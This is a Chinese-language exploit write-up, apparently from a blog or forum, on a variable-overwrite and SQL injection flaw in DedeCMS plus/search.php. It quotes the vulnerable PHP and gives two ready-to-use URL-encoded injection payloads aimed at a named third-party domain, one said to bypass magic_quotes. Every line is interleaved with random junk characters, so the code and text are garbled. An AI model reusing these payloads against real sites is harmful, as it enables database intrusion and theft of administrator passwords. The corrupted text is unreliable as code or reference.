微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
$ m h) B* u0 Q& H0 l3 K* W作者: c4rp3nt3r@0x50sec.org
; Y, q' Z; R" K3 m7 }& R* cDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
) f! t% T- a' K# W, y3 Z; H 0 H3 d, }0 M& i- Q4 T
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.- y% U& X1 E4 V7 |5 \9 T W, c
1 U/ D* N* l5 x, O============2 ^3 z& W9 n- N. V0 E$ u" L
t' d/ S$ F' f r
+ Q1 A2 g. g7 a) }% {0 A+ l
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.# R9 S0 R/ a' J2 K( @
# W. K$ r$ Q% j% o+ Yrequire_once(dirname(__FILE__).”/../include/common.inc.php”);
# a) Y( l/ m7 Arequire_once(DEDEINC.”/arc.searchview.class.php”);, E+ z# C7 t, `: e( `# R
& B" D R$ v2 J/ a3 c. ?$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
. f& J/ G, ^! O, P' ?3 f( U$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;8 P/ N; T9 {( s9 S1 L
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;$ a" q1 D/ m$ R. w Y
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
- {* B2 j: q. x6 E: F4 v% `$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
. M4 X* @, m e
" Q' c; O, y$ ~* Aif(!isset($orderby)) $orderby=”;2 B* Y6 m" i9 k5 ~8 Q
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);$ {" ?8 J9 h: C. G5 @6 n
, j [8 \0 ~) X3 T* N# \: W' I; c
# ~ Q$ `/ z, r* I3 ?3 s G, i. j
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
' E3 r% g/ M f: k) |else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
& u6 j, x2 g/ _7 Y5 E0 K3 F- ?- u - ]' @' k' g ? o8 r
if(!isset($keyword)){
1 N8 ]8 P0 ~4 p0 n0 A if(!isset($q)) $q = ”;
+ Y& N5 f. X6 {+ P5 K" ? $keyword=$q;
- t' E# s! v7 M- y, X( F% s1 R* X}
& w" h- h5 X* A9 i2 B
1 j( O, y3 Y4 w$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
2 s% C; d+ L0 W: D 1 S' X, F7 K5 R! E: ?5 W) G
//查找栏目信息
% h" ^( b* f8 S, Z9 |if(empty($typeid))- h5 b$ C" A3 m I
{
+ k2 Q' \1 s/ W/ [3 e, f $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
% T; r, K$ U. X6 l# F if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )7 n4 ?, z5 N% W" D- _/ p: N$ Z
{0 V2 f/ s# H' v- ?( z1 ?9 {
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
+ p2 ?4 O' D' ^5 L9 X fwrite($fp, “<”.”?php\r\n”);
% u9 m" ]! g2 B U $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
/ k7 k1 N; j" Y! t, G0 s $dsql->Execute();
1 n& k2 `1 i) V while($row = $dsql->GetArray())+ X3 u+ `* j! M( j
{
3 y/ g X' r; D6 A3 A fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);8 w# M( \/ [& \: T' `- M- V
}
& i6 t) u7 v1 D+ `/ _ fwrite($fp, ‘?’.'>’);0 d' B. }# {, X2 x, ?
fclose($fp);8 q3 H9 v# a% a3 v2 @
}6 z) E$ {* Z! d2 |) V% G/ n* Q
//引入栏目缓存并看关键字是否有相关栏目内容
9 c5 X, r7 X! W: m9 W$ c6 H' m require_once($typenameCacheFile);
7 G9 p3 H; {6 I p+ Q5 ]. P1 l//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
+ H9 M0 o% Q% W3 B6 R//
8 l( w& J! d" V s2 n$ b# C1 e if(isset($typeArr) && is_array($typeArr))
1 T4 H: q2 T4 Z {: f4 { A4 l# d0 H* M1 k
foreach($typeArr as $id=>$typename)
: r9 k3 N8 V6 G Z2 L: j {; R. @$ A6 s6 a! v. }) f% u
$ A# ^, g& r. C- i <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过' R* p1 }. O& m3 D$ e
if($keyword != $keywordn)" o+ o% @$ s8 W9 b! c( B0 F- Z
{
- M% \& g: e/ e0 Z2 o5 p3 V $keyword = $keywordn;
$ t0 n3 o2 X2 _ g8 W& K } <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
8 A- |$ T9 s& x break;
$ n8 F* Z5 l. `4 m }! p/ h' C2 m$ g* }& k
}
( ]3 L5 b) W6 ~0 S) v Z# o% X }
7 U H# ^4 C0 j$ |4 }' c0 b}; e* R& c4 `7 i0 j' h8 y& H
然后plus/search.php文件下面定义了一个 Search类的对象 .& m2 H9 ^0 K* ?- Q
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
/ `& H- L3 m; ?( ` w$this->TypeLink = new TypeLink($typeid);: F/ L0 Y1 L. W! I& @6 e
) q% H' c/ t: y2 ?% g- _4 }% z$ o3 vTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
; _' z, C! q6 j
' _( R' p, K8 Z0 @( aclass TypeLink% I3 s1 U. R8 J
{; `2 |6 ?( m9 {: {: q' @/ v
var $typeDir;' H+ y' H2 K, S7 v# E
var $dsql;
+ H9 n5 Y9 |0 a, O5 d var $TypeID;
; j9 o4 N' R7 ~3 V& z( Q4 f d" C' x var $baseDir;
1 {! V# a+ I; l1 J( n var $modDir;1 Z; M! @- n" r. B0 d
var $indexUrl;
3 Y5 g6 i. }+ _4 W var $indexName;
! @2 H- M+ d+ ?( I9 t* _- i) q var $TypeInfos;
. Q5 U+ J! Y$ d6 M7 y var $SplitSymbol;
) h: v1 A% ?6 F+ j2 H var $valuePosition;
5 t4 U% W. b$ ` var $valuePositionName;
' M% y t. I Y, j" C) a) @ var $OptionArrayList;//构造函数///////' a+ Q3 |9 u( z" q: X% w
//php5构造函数
j- ^6 o2 d+ a' S, q: }2 P" Q1 k function __construct($typeid) x; f# g& k# r& h1 Y( o/ F
{
" e8 H+ l: V+ D$ N $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];% S; {- _1 Y% Q
$this->indexName = $GLOBALS['cfg_indexname'];$ `# s3 g9 M& d7 d: m) `
$this->baseDir = $GLOBALS['cfg_basedir'];
. x) m$ Y8 L+ v9 k+ ~ $this->modDir = $GLOBALS['cfg_templets_dir'];
: q' V" b1 W5 B6 o: x $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
7 X; C/ ~" _, U. i $this->dsql = $GLOBALS['dsql'];' b- b& Q Z0 X- A5 O8 z a
$this->TypeID = $typeid;
2 E9 @- a0 }9 K& O9 Q $this->valuePosition = ”;
( u; L1 m' Z0 d $this->valuePositionName = ”;
" u! n. j0 Q# t' i: f. ]+ c $this->typeDir = ”;" d! x& z- R" U) j8 N
$this->OptionArrayList = ”;
' H! o' J% x9 z& Y4 d: l: y
6 j' t& w# ]9 D9 K( U8 u$ D! @- B //载入类目信息0 H" M! |3 g* h- a/ E9 e' o
; H) g& d8 [6 |; E4 r3 m" @+ s; z
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
5 q+ c: ~+ S; Q0 T+ g( l Q$ Tctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join2 P, q- n* q/ y, ], [, t
`#@__channeltype` ch' B9 s/ }: a' E$ D. C. s
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿3 H, M! e9 O$ L# Z4 E$ y
, @$ `8 u8 R5 G* B+ `' i, M7 t% v if($typeid > 0)! G9 [: x. K) \+ o
{
3 K# W- e, k% k8 p; q/ ^ $this->TypeInfos = $this->dsql->GetOne($query);
1 f0 q, B( _5 A8 X) d- D利用代码一 需要 即使magic_quotes_gpc = Off
! f1 ]7 w u0 e8 ?. }2 l3 } O/ p$ S
# h. C$ u1 k) _2 V9 s; jwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
6 q5 p6 V; R3 H
4 }: j% F/ Y4 y; @) K; h0 Q这只是其中一个利用代码… Search 类的构造函数再往下% t7 I3 W, e; }. S' I
/ _+ d) d2 V6 m# U, y! [. v1 d% L……省略
% r, d7 w3 i' ^% X+ ?$this->TypeID = $typeid;3 h* U7 c! p$ v' N
……省略, u$ t1 F5 ^: S2 R! p
if($this->TypeID==”0″){
: f: \& K: P; f& o( A $this->ChannelTypeid=1;2 f6 ? H( T! g" s5 y
}else{$ i( @% K- w T% o% C
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲2 F H6 N: t& R2 P T
//现在不鸡肋了吧亲…: K* F# q* S Q5 f+ k9 ~: \4 U3 h
$this->ChannelTypeid=$row['channeltype'];
4 H) S5 Z+ g: N. v
2 V% v$ \7 s9 B$ r5 ^* T }( Q8 L# v. E: X# B0 u- M" S
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.6 B4 [) Y; p& `5 ?
5 L9 P' m( z/ Y* i3 Y1 E8 k; M" ?* L4 lwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
& S) M) \- U/ v+ h$ l' Q, s 9 N/ O# y+ l4 a) u
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站& k: ^. F) n& d$ M) i7 k& c# k- b0 N
|